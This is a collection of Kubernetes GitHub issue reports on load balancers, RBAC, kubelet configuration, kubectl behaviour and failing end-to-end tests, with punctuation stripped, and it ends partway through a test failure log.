we allow users to specify  loadbalancerip  in the service object. if the user later removes this from the service spec, the controller will fail to sync.\r  \r for example:\r 1. controller creates an lb for service.spec.loadbalancerip = \ 1.1.1.1\  with a user-owned static ip address.\r 2. user updates the service to remove the requested loadbalancerip\r 3. controller tries to  ensure the ip  https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.3/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go l886-l915  used by the existing forwarding rule  i.e., \ 1.1.1.1\  . it encounters a conflict. controller assumes it owns the ip and  tries to get the address  https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.3/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go l909  by name but fails.\r \r we can fix the controller to continue syncing and using the user-owned ip for the lb, or create a new address for the lb. the former seems less disruptive to me, but the downside is that if user will not be able to let other components use this ip  i.e., 1.1.1.1  unless they explicitly delete the service. i think it's ok but would like more opinions.\r \r @bowei @nicksardo thoughts?

we give full access to our namespaces via rbac by binding the clusterrole  admin  to their user. according to the  documentation  https://kubernetes.io/docs/admin/authorization/rbac/ user-facing-roles  this should give them read and write access to almost all resources in their namespace. this does not seem to apply for  networkworkpolicies  https://kubernetes.io/docs/concepts/services-networking/network-policies/ :\r \r    \r kubectl get networkpolicies\r error from server  forbidden : user \ x\  cannot list networkpolicies.extensions in the namespace \ default\ .: \ no policy matched.\   get networkpolicies.extensions \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:09z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r there's also no mention of them in the clusterrole:\r    \r kubectl get clusterrole admin  -o yaml | grep network\r    \r i also can't find a mention of networkpolicies in the boostrap code on master: https://github.com/kubernetes/kubernetes/tree/master/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/testdata\r \r  @kubernetes/sig-auth

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r when kubelet device plugin was initially implemented, its related code lived in two packages. one was under pkg/kubelet/deviceplugin that contains device plugin manager interface, implementation, and endpoint implementations for handling the interactions with device plugin registration and updates. the other was at pkg/kubelet/cm/device_plugin_handler_ .go that implements devicepluginhandler that interacts with containermanager and was mostly responsible for device plugin resource allocation and checkpointing. with pr https://github.com/kubernetes/kubernetes/pull/54019, now all device plugin related code lives under a single directory under pkg/kubelet/cm/deviceplugin. it will make abstraction clearer to have a single public interface. one possible way to achieve this is to merge handler functionalities into manager and make manager the single public interface from cm/deviceplugin package. to avoid having a giant file with too many functionalities and also to simplify locking logic of device plugin, we can introduce a data struct to keep cached device state in the new managerimpl, say we call it cachestore. the cachestore defines a bunch of get/update functions that are protected with a rwmutex. with this part separated out, managerimpl can call this component for all of its data state management and no longer needs a mutex lock.\r \r we would like to experiment these ideas with a pr implementation and see how it helps improve code readability.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r gcp internal load balancer configures a firewall exception w/ source ip of  0.0.0.0/0  by default. this allows internet traffic to attempt connections to these ports on the internal k8s host machines.\r \r   what you expected to happen  :\r \r the service configures an internal load balancer would specify firewall rules for the current vpc  or error and require the user to input a  loadbalancersourceranges  , and/or require the user to explicitly set   extremely   open ranges like  0.0.0.0/0 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an a service w/ the internal load balancer annotation using gke  do not specify  loadbalancersourceranges  .\r \r    \r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     cloud.google.com/load-balancer-type: internal\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t19:11:02z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.3-gke.0\ , gitcommit:\ 86d3ac5eaf57223302c95e7d9fc1aeff55fb0c15\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t21:42:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r google kubernetes engine\r    \r - os  e.g. from /etc/os-release :\r    \r cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-data-1-default-pool-014f29ab-g5lq 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r    \r gke\r    \r - others:\r n/a\r \r /cc @binoculars

referring to these two failing tests:\r \r - dynamic provisioning dynamicprovisioner default should create and delete default persistent volumes  slow \r - dynamic provisioning dynamicprovisioner should provision storage with different parameters  slow \r \r it seems like a regression as they were consistently passing earlier and then started to constantly fail. see:\r \r - https://k8s-testgrid.appspot.com/sig-scalability-gce gce-large-correctness  2k-node job \r - https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-correctness  5k-node job \r \r cc @kubernetes/sig-storage-bugs @kubernetes/sig-scalability-misc \r /  as this is a release-blocking job

right now the driver registration only registers drivers, not clear how to de-register a driver when the driver is terminated.\r

 \r   what happened  :\r connection timeout, packets go into the node and into the container, but no replies are seen\r \r   what you expected to happen  :\r a reply packet to my tcp sync request\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup a service using an nlb, example:\r \r apiversion: v1\r kind: service\r metadata:\r   name: cas-test\r   labels:\r     app: cas-test\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-type: nlb\r     service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol: tcp\r spec:\r   type: loadbalancer\r   ports:\r     - port: 443\r       protocol: tcp\r       targetport: 443\r       name: external\r   selector:\r     app: cas-test\r \r setup any https webserver as a cas-test container.\r \r connections from from another container on the same kubernetes node that is running the cas-test container will fail, connections coming from any other source will work as expected.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.8  was 1.9.3 when first noticed \r - cloud provider or hardware configuration: aws, rf4.xlarge\r - os  e.g. from /etc/os-release : kops 1.9.0 debian packages\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r we're trying to migrate to the kubelet configuration file but there isn't any equivalent configuration entry for:\r -  --minimum-container-ttl-duration \r -  --maximum-dead-containers-per-container \r \r i reviewed the kubelet  configuration types  https://github.com/kubernetes/kubernetes/blob/release-1.11/pkg/kubelet/apis/kubeletconfig/v1beta1/types.go  and i wasn't able to find these options.\r \r these options are really useful for short lived tasks, this allows to any logging collection tools to be able to tail these files.

what would you like to be added  :\r \r when editing a resource with  kubectl edit , invalid changes  usually \r take the user back to the editor, with an explanation why their change\r was rejected.\r \r for instance, if i do:\r -  kubectl edit service kubernetes \r - and add  hello  on the first line\r - save and quit\r ... i'm taken back to the editor, with a helpful message:  broken down to multiple lines here for readability \r    yaml\r   services \ kubernetes\  was not valid:\r     : invalid value: \ the edited file failed validation\ :\r    yaml: line 1: mapping values are not allowed in this context,\r    invalid character 'h'     looking for beginning of value,\r   invalid character 'h' looking for beginning of value  \r    \r \r however, if i do:\r -  kubectl edit service kubernetes \r - add  version: 42  in the labels section\r - save and quit\r ... i'm taken back to the shell, with a message saying:\r    \r error: services \ kubernetes\  could not be patched: cannot convert int64 to string\r you can run  kubectl replace -f /tmp/kubectl-edit-j62k7.yaml  to try this update again.\r    \r \r this one could be improved by:\r - taking me back to the editor\r - and/or indicating  like for the previous error  the line at which the error happened\r \r furthermore, if i do:\r -  kubectl edit service kubernetes \r - add  enabled: yes  in the labels section\r - save and quit\r ... i'm taken back to the shell, with a message saying:\r    \r error: services \ kubernetes\  could not be patched: unrecognized type: string\r    \r \r  as you might guess, that one happens because yaml parsers interpret  yes  as a boolean value,\r and boolean values aren't valid labels. \r \r this one could be improved by at least indicating  like for the int64 case  that this is related to boolean\r interpretation.\r \r   why is this needed  :\r \r to prevent head-scratching from people who are going to use any kind of yes/no label in selectors and labels.\r \r ideally, a consistent behavior  taking people back to the editor no matter what  would be fantastic,\r but at least nudging them in the right direction would be a huge improvement!\r \r   related issues  \r \r  42217 is similar. it dates from 1.6 but there was no particular follow-up. i don't know\r if it's because it was deemed unimportant after all, or if it fell through the cracks.\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r change azure disk host cache to readonly\r the default value  none  would lead to slow perf. and according to below doc: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/premium-storage-performance disk-caching\r \r default host cache should be  readonly , the reason why we use “cachingmode: none” by default in k8s is that there is a famous disk bug due to this cachingmode setting  readonly  &  readwrite   which would lead to disk i/o error, and this issue has been fixed in the middle of this year by azure disk team.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r having a random deployment yaml file:\r \r modifying for example the image or the number of replicas:\r \r  -  kubectl apply -f deployment.yaml  -o yaml  --dry-run  outputs me the resource with the old specifications\r \r  -  kubectl apply -f deployment.yaml  -o yaml  outputs me the resource with the new specifications and updates it\r \r since according the documentation:\r > --dry-run=false: if true, only print the object that would be sent, without sending it.\r \r i would have expected the  dry-run  command to print the very same yaml configuration and not the old one.\r \r tested on minikube, gke v1.10.0\r \r https://stackoverflow.com/questions/54074758/kubectl-apply-dry-run-behaving-weirdly

which jobs are failing  :\r  sig-release-master-informing gce-master-scale-correctness  https://testgrid.k8s.io/sig-release-master-informing gce-master-scale-correctness&width=20 \r \r   which test s  are failing  :\r   k8s.io   sig-node  nodeproblemdetector should run without error \r \r   since when has it been failing  :\r 2019-03-07 @ 22:52\r \r   testgrid link  :\r  sig-release-master-informing gce-master-scale-correctness  https://testgrid.k8s.io/sig-release-master-informing gce-master-scale-correctness&width=20 \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/node_problem_detector.go:53\r expected error:\r     < errors.errorstring | 0xc00c033840>: {\r         s: \ error getting ssh client to prow@34.73.217.178:22: 'dial tcp 34.73.217.178:22: connect: connection refused'\ ,\r     }\r     error getting ssh client to prow@34.73.217.178:22: 'dial tcp 34.73.217.178:22: connect: connection refused'\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/node_problem_detector.go:97\r    \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/node_problem_detector.go:53\r expected error:\r     < errors.errorstring | 0xc00c033840>: {\r         s: \ error getting ssh client to prow@34.73.217.178:22: 'dial tcp 34.73.217.178:22: connect: connection refused'\ ,\r     }\r     error getting ssh client to prow@34.73.217.178:22: 'dial tcp 34.73.217.178:22: connect: connection refused'\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/node_problem_detector.go:97\r    \r \r \r   anything else we need to know  :\r /milestone v1.14\r   /

see  7438. - use guaranteedupdate when saving the bind - create bindingrest subresource similar to pod

in /pkg/kubelet/cm/cpumanager/cpu_manager.go\r \r func  m  manager  reconcilestate    success   reconciledcontainer, failure   reconciledcontainer  {\r \tsuccess =   reconciledcontainer{}\r \tfailure =   reconciledcontainer{}\r \r \tactivecontainers := make map string  v1.pod \r \r \tfor _, pod := range m.activepods   {\r \t\tallcontainers := pod.spec.initcontainers\r \t\tallcontainers = append allcontainers, pod.spec.containers... \r \t\tfor _, container := range allcontainers {\r \t\t\tstatus, ok := m.podstatusprovider.getpodstatus pod.uid \r \t\t\tif !ok {\r \t\t\t\t  klog.warningf \  cpumanager  reconcilestate: skipping pod; status not found  pod: %s, container: %s \ , pod.name, container.name   \r \t\t\t\tfailure = append failure, reconciledcontainer{pod.name, container.name, \ \ } \r \r so it will print the msg of init container about every 20 seconds like below:\r \r mar 25 20:05:21 xiaoyowa-master-01 kubelet: w0325 20:05:21.566304   27779 cpu_manager.go:232   cpumanager  reconcilestate: skipping container; id not found in status  pod: etcd-0, container: wait-for-etcd-discovery, error: unable to find id for container with name wait-for-etcd-discovery in pod status  it may not be running  \r mar 25 20:05:44 xiaoyowa-master-01 kubelet: w0325 20:05:44.914337   27779 cpu_manager.go:232   cpumanager  reconcilestate: skipping container; id not found in status  pod: etcd-0, container: wait-for-etcd-discovery, error: unable to find id for container with name wait-for-etcd-discovery in pod status  it may not be running  \r mar 25 20:06:08 xiaoyowa-master-01 kubelet: w0325 20:06:08.796797   27779 cpu_manager.go:232   cpumanager  reconcilestate: skipping container; id not found in status  pod: etcd-0, container: wait-for-etcd-discovery, error: unable to find id for container with name wait-for-etcd-discovery in pod status  it may not be running  \r mar 25 20:06:29 xiaoyowa-master-01 kubelet: w0325 20:06:29.469104   27779 cpu_manager.go:232   cpumanager  reconcilestate: skipping container; id not found in status  pod: etcd-0, container: wait-for-etcd-discovery, error: unable to find id for container with name wait-for-etcd-discovery in pod status  it may not be running  \r \r \r it will cause the message file size very large. is it expected? any idea how to solve this issue?

what happened  :\r i upgraded from 1.13.5 to 1.14.2 lately.\r \r the  changelog for 1.14.x  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.14.md deprecations  mentions quite a few deprecations regarding  apiversion  for ingress, deployment, daemonset and a few more. \r \r now i try to upgrade my ingresses from  apiversion: extensions/v1beta1  to  apiversion: networking.k8s.io/v1beta1  as stated in the changelog e.g. so i changed my local manifest and executed  kubectl apply -f ingress.yml  accordingly. if i now check with  kubectl get ingress the-ingress -o yaml  if the  apiversion  was updated accordingly i still see  apiversion: extensions/v1beta1 .\r then i tried  kubectl replace -f ingress.yml . still the same. then i deleted the ingress resource completely and created it again with  kubectl create -f ingress.yml . again it's still   apiversion: extensions/v1beta1 ...\r when i now modify the  ingress.yml  and add just an simple annotation, apply the change with  kubectl apply -f ingress.yml  and get the ingress resource with  kubectl get ingress the-ingress -o yaml  i see an interesting new annotation:\r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ networking.k8s.io/v1beta1\ ,\ kind\ :\ ingress\ ,....\r    \r here the annotation  kubectl.kubernetes.io/last-applied-configuration  states that the last applied configuration used  apiversion\ :\ networking.k8s.io/v1beta1\  . \r \r the same happens if i want to upgrade deployment resources. the  apiversion  doesn't change regardless what i do.\r \r   what you expected to happen  :\r  kubectl get ingress ... -o yaml  should output  apiversion: networking.k8s.io/v1beta1  instead of  apiversion: extensions/v1beta1  if the local manifest includes this  apiversion  and was applied accordingly.\r \r how can i check what  apiversion  the objects  ingress, deployment, daemonset, ...  really use? i didn't find any useful information how to check this. it looks like  kubectl  is fooling me somehow.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above  what happened .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r 1> kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:23:09z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:14:56z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r on-premise\r \r - os  e.g:  cat /etc/os-release  :\r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r \r - kernel  e.g.  uname -a  :\r linux worker01 4.18.0-20-generic  21~18.04.1-ubuntu smp wed may 8 08:43:37 utc 2019 x86_64 x86_64 x86_64 gnu/linux

this issue tracks the some of the todos to make using rkt in k8s have better experience. -  x  add a readme.md or doc.go in rkt package  update: readme can be found  here  https://github.com/googlecloudplatform/kubernetes/tree/master/docs/getting-started-guides/rkt  now  -  x  integrate the reference manager, readiness manager. -  x  per container logs -     stdin and tty  https://github.com/googlecloudplatform/kubernetes/pull/12168  -  x  integrate with the cadvisor. -  x  more message and reasons for events like pull failures. -  x  image gc  https://github.com/kubernetes/kubernetes/pull/14686  -  x  enforce container/image gc policy. -     run aci, integrate  rkt trust . -  x  being able to change stage1 image. -  x  e2e tests. -  x  network plugins. join existing network? -     per container lifecycle hooks -     replace cli calls with  rkt api  https://github.com/coreos/rkt/pull/1411  -  x  security context  /cc @dchen1107 @vmarmol @yujuhong @jonboulle @bakins

the identity of a pet is the link between network <-> storage, so it doesn't make sense to create a pet without a governing service. the  servicename  is a required field to express this relationship.   maybe we should make it  omitempty  so users can just get a nice name on some storage? when we allow petset editing, people can add the service whenever they want dns.

we use  kubectl get  together with  -o yaml --export  to take backups of resources in our cluster. the problem is when we  --export  services, they cannot be reimported unless we edit them to remove invalid data.     what - running  kubectl get svc blah -o yaml --export  outputs invalid  spec.clusterip   we see the value as  <unknown>      expectation -  spec.clusterip  should be blank if it's not explicitly set  which is our case     reproducing 1. define a new  service  resource without a  spec.clusterip   2. run  kubectl get svc blah -o yaml --export | kubectl apply -f -     output yaml      apiversion: v1 kind: service metadata:   annotations:     kubectl.kubernetes.io/last-applied-configuration: '{\ kind\ :\ service\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ edge-router\ ,\ selflink\ :\ /api/v1/namespaces//services/edge-router\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ edge-router\ ,\ serial\ :\ 3\ ,\ tier\ :\ frontend\ }},\ spec\ :{\ ports\ : {\ name\ :\ http\ ,\ protocol\ :\ tcp\ ,\ port\ :80,\ targetport\ :30630} ,\ selector\ :{\ app\ :\ edge-router\ ,\ tier\ :\ frontend\ },\ type\ :\ nodeport\ ,\ sessionaffinity\ :\ none\ },\ status\ :{\ loadbalancer\ :{}}}'   creationtimestamp: null   labels:     app: edge-router     serial: \ 3\      tier: frontend   name: edge-router   selflink: /api/v1/namespaces//services/edge-router spec:   clusterip: <unknown>   ports:   - name: http     port: 80     protocol: tcp     targetport: 30630   selector:     app: edge-router     tier: frontend   sessionaffinity: none   type: nodeport status:   loadbalancer: {}        error      proto: no encoder for typemeta unversioned.typemeta  getproperties  proto: tag has too few fields: \ -\  proto: no coders for struct  reflect.rtype proto: no encoder for sec int64  getproperties  proto: no encoder for nsec int32  getproperties  proto: no encoder for loc  time.location  getproperties  proto: no encoder for time time.time  getproperties  proto: no coders for intstr.type proto: no encoder for type intstr.type  getproperties  the service \ edge-router\  is invalid.    spec.clusterip: invalid value: \ \\u003cunknown\\u003e\ : field is immutable   spec.clusterip: invalid value: \ \\u003cunknown\\u003e\ : must be empty, 'none', or a valid ip address

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-gci-1.5-upgrade-master/18/  multiple broken tests:  failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:452 expected error:     < errors.errorstring | 0xc821adee10>: {         s: \ failed to wait for pods responding: pod with uid d507caf8-bcd6-11e6-9dba-42010af0002a is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods 43012}  {{ } {my-hostname-delete-node-5rrrx my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-5rrrx d5080447-bcd6-11e6-9dba-42010af0002a 42708 0 2016-12-07 15:42:36 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-vvr5w\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d505bffd-bcd6-11e6-9dba-42010af0002a\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 42692\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b197}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1ce0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193b2a0 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-xmr5 0xc821efae00     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:37 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  }    10.240.0.5 10.96.3.22 2016-12-07 15:42:36 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201dc0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://08a8f7a8e945e762cd47497225c9a522f5c4659cb155b245e66d13ca22f90a43} }} {{ } {my-hostname-delete-node-btjwv my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-btjwv d508330c-bcd6-11e6-9dba-42010af0002a 42710 0 2016-12-07 15:42:36 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-vvr5w\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d505bffd-bcd6-11e6-9dba-42010af0002a\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 42692\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b537}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1d40 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193b660 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-ukiq 0xc821efaec0     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:38 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  }    10.240.0.4 10.96.2.30 2016-12-07 15:42:36 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201e00 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://3dd2c77ef797106ea44302900e95c174ac113e4bacb83608c2872a81dd5bb50f} }} {{ } {my-hostname-delete-node-wq0df my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-wq0df 04e7b430-bcd7-11e6-9dba-42010af0002a 42852 0 2016-12-07 15:43:56 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-vvr5w\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d505bffd-bcd6-11e6-9dba-42010af0002a\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 42770\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b967}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1da0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193ba70 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-xmr5 0xc821efaf80     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:56 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:57 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:56 -0800 pst  }    10.240.0.5 10.96.3.23 2016-12-07 15:43:56 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201e20 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://7e296eb487c9a4383f28b356eba96235da678c39fa033d4d0195b388e6f87172} }} }\ ,     }     failed to wait for pods responding: pod with uid d507caf8-bcd6-11e6-9dba-42010af0002a is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods 43012}  {{ } {my-hostname-delete-node-5rrrx my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-5rrrx d5080447-bcd6-11e6-9dba-42010af0002a 42708 0 2016-12-07 15:42:36 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-vvr5w\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d505bffd-bcd6-11e6-9dba-42010af0002a\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 42692\ }}        {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b197}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1ce0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193b2a0 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-xmr5 0xc821efae00     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 